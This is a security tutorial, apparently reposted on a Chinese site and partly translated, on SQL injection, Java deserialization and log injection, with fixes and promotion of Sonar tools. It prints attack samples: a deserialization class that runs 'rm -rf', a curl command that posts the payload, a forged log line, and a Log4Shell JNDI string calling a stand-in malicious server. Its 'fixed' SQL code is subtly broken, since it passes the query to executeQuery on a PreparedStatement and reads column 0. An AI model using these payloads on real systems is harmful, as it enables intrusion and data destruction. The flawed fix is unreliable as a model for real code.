首页  >  文章  >  Java  >  目前隐藏在代码中的主要安全缺陷 - 以及如何修复它们

目前隐藏在代码中的主要安全缺陷 - 以及如何修复它们

WBOY
WBOY原创
2024-08-30 06:01:20760浏览

据报道,2019 年著名游戏《堡垒之夜》中的一次著名漏洞使数百万玩家面临遭受恶意软件攻击的风险。该事件凸显了正确保护 SQL 数据库安全的重要性。

但这不是一个孤立的问题。

涉及 SQL 注入的多起攻击已经发生,就像特斯拉在 2018 年经历的那样。当时,另一场 SQL 注入攻击影响了特斯拉的 Kubernetes 控制台,导致未经授权的加密货币挖矿活动造成经济损失。

但这不仅仅是关于 SQL 注入。

您的代码现在可能会遭受其他攻击媒介,就像大公司过去遭受的攻击一样。

2021 年 Log4J 库中名为 Log4Shell 的攻击涉及日志注入攻击,迄今为止影响了全球数百万台服务器,或者 2022 年 Atlassian Jira 中发生的攻击涉及影响多个 Jira 版本的反序列化攻击,该攻击完全失败控制权交给攻击者。

这可能发生在任何人身上,甚至是你。

在本文中,我将讨论代码中最常见的 3 种攻击:SQL 注入、反序列化注入和日志注入,以及如何解决它们。

SQL注入

在数据库中存储信息的应用程序通常使用用户生成的值来检查权限、存储信息或简单地检索存储在表、文档、点、节点等中的数据。

此时,当我们的应用程序使用这些值时,不当使用可能会允许攻击者引入发送到数据库的额外查询以检索不允许的值,甚至修改这些表以获得访问权限。

以下代码根据登录页面中提供的用户名从数据库中检索用户。一切似乎都很好。

Top Security Flaws hiding in your code right now - and how to fix them

public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users " +
                   "WHERE username='" + user + "' AND password='" + pass + "'";
       Statement statement = connection.createStatement();
       ResultSet resultSet = statement.executeQuery(query);
       List users = new ArrayList();
       while (resultSet.next()) {
           users.add(resultSet.getString(0));
       }
       return users;
   }

但是,当攻击者使用注入技术时,这段使用字符串插值的代码将导致意外结果,从而允许攻击者登录到应用程序。

Top Security Flaws hiding in your code right now - and how to fix them

为了解决这个问题,我们将这种方法从使用字符串连接更改为参数注入。事实上,就性能和安全性而言,字符串连接通常是一个坏主意。

String query = "SELECT userid FROM users " +
               "WHERE username='" + user + "' AND password='" + pass + "'";

将 SQL 字符串中直接包含的参数值更改为我们稍后可以引用的参数将解决查询被黑的问题。

 String query = "SELECT userid FROM users WHERE username = ? AND password = ?";

我们的固定代码将如下所示,包含prepareStatement和每个参数的值设置。

    public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
       try (PreparedStatement statement = connection.prepareStatement(query)) {
           statement.setString(1, user);
           statement.setString(2, pass);
           ResultSet resultSet = statement.executeQuery(query);
           List users = new ArrayList();
           while (resultSet.next()) {
               users.add(resultSet.getString(0));
           }
           return users;
       }
    }

可以在此处找到帮助检测 SQL 注入漏洞的 SonarQube 和 SonarCloud 规则

反序列化注入

反序列化是将数据从序列化格式(如字节流、字符串或文件)转换回程序可以使用的对象或数据结构的过程。

反序列化的常见用法包括以 JSON 结构的形式在 API 和 Web 服务之间发送数据,或者在现代应用程序中以 protobuf 消息的形式使用 RPC(远程过程调用)。

如果不实施清理或检查步骤,将消息有效负载转换为对象可能会涉及严重漏洞。

   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
       ServletInputStream servletIS = request.getInputStream();
       ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
       User user                 = (User) objectIS.readObject();
     }
   class User implements Serializable {
       private static final long serialVersionUID = 1L;
       private String name;

       public User(String name) {
           this.name = name;
       }

       public String getName() {
           return name;
       }
   }

我们可以在这里看到我们正在使用 objectIS,这是来自请求输入流中的用户的直接值,并将其转换为新对象。
我们希望该值始终是我们的应用程序使用的类之一。当然,我们的客户永远不会发送任何其他东西,对吧?他们会吗?

但是如果恶意客户端在请求中发送另一个类怎么办?

   public class Exploit implements Serializable {
       private static final long serialVersionUID = 1L;

       public Exploit() {
           // Malicious action: Delete a file
           try {
               Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }

在本例中,我们有一个类在默认构造函数期间删除文件,这将在之前的 readObject 调用中发生。

攻击者只需序列化该类并将其发送到 API :

   Exploit exploit = new Exploit();
   FileOutputStream fileOut = new FileOutputStream("exploit.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(exploit);
...
$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user

幸运的是,有一个简单的方法可以解决这个问题。在创建对象之前,我们需要检查要反序列化的类是否来自允许的类型之一。

在上面的代码中,我们创建了一个新的 ObjectInputStream,其中覆盖了包含类名检查的“resolveClass”方法。我们使用这个新类 SecureObjectInputStream 来获取对象流。但在将流读入对象(用户)之前,我们会进行允许列表检查。

 public class SecureObjectInputStream extends ObjectInputStream {
   private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
   @Override
   protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
     if (!ALLOWED_CLASSES.contains(osc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization", osc.getName());
     }
     return super.resolveClass(osc);
   }
 }
...
 public class RequestProcessor {
   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
     ServletInputStream servletIS = request.getInputStream();
     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
     User input                 = (User) objectIS.readObject();
   }
 }

可以在此处找到帮助检测反序列化注入漏洞的 SonarCloud/SonarQube 和 SonarLint 规则

Logging injection

A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.

Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.

But, they can also become an attack vector.

Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.

We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.

Let’s consider the following code, where we take a value from the user and log it.

   public void doGet(HttpServletRequest request, HttpServletResponse response) {
       String user = request.getParameter("user");
       if (user != null){
         logger.log(Level.INFO, "User: {0} login in", user);
       }
   }

It looks harmless, right?

But what if the attacker tries to log in with this user?

 john login in\n2024-08-19 12:34:56 INFO User 'admin' login in

Top Security Flaws hiding in your code right now - and how to fix them

It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused

   2024-08-19 12:34:56 INFO User 'john' login in 
   2024-08-19 12:34:56 ERROR User 'admin' login in 

Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.

    $ { jndi:ldap://malicious-server.com/a}

But we can prevent these issues easily.

Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.

     // Log the sanitised username
     String user = sanitiseInput(request.getParameter("user"));
   }

  private String sanitiseInput(String input) {
     // Replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceAll("[\\n\\r]", "_");
     }
     return input;
   }

The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.

   2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in 

In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.

     -Dlog4j2.formatMsgNoLookups=true

If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
   // Define your list of allowed JNDI URLs
   private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @Override
   public Context getInitialContext(Hashtable environment) throws NamingException {
       String providerUrl = (String) environment.get(Context.PROVIDER_URL);

       if (isAllowed(providerUrl)) {
           return new InitialContext(environment); 
       } else {
           throw new NamingException("JNDI lookup " + providerUrl + " not allowed");
       }
   }

   private boolean isAllowed(String url) {
       if (url == null) {
           return false;
       }
       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
           if (url.startsWith(allowedPrefix)) {
               return true;
           }
       }
       return false;
   }
}

And configure our system to use the filtering context factory.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory

The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here

Conclusion

Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.

From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.

By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.

Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.

Sonar provides free and opensource tools like SonarLint, SonarQube, and SonarCloud that can detect, warn about, and suggest fixes for all these vulnerabilities.

以上是目前隐藏在代码中的主要安全缺陷 - 以及如何修复它们的详细内容。更多信息请关注PHP中文网其他相关文章!

声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn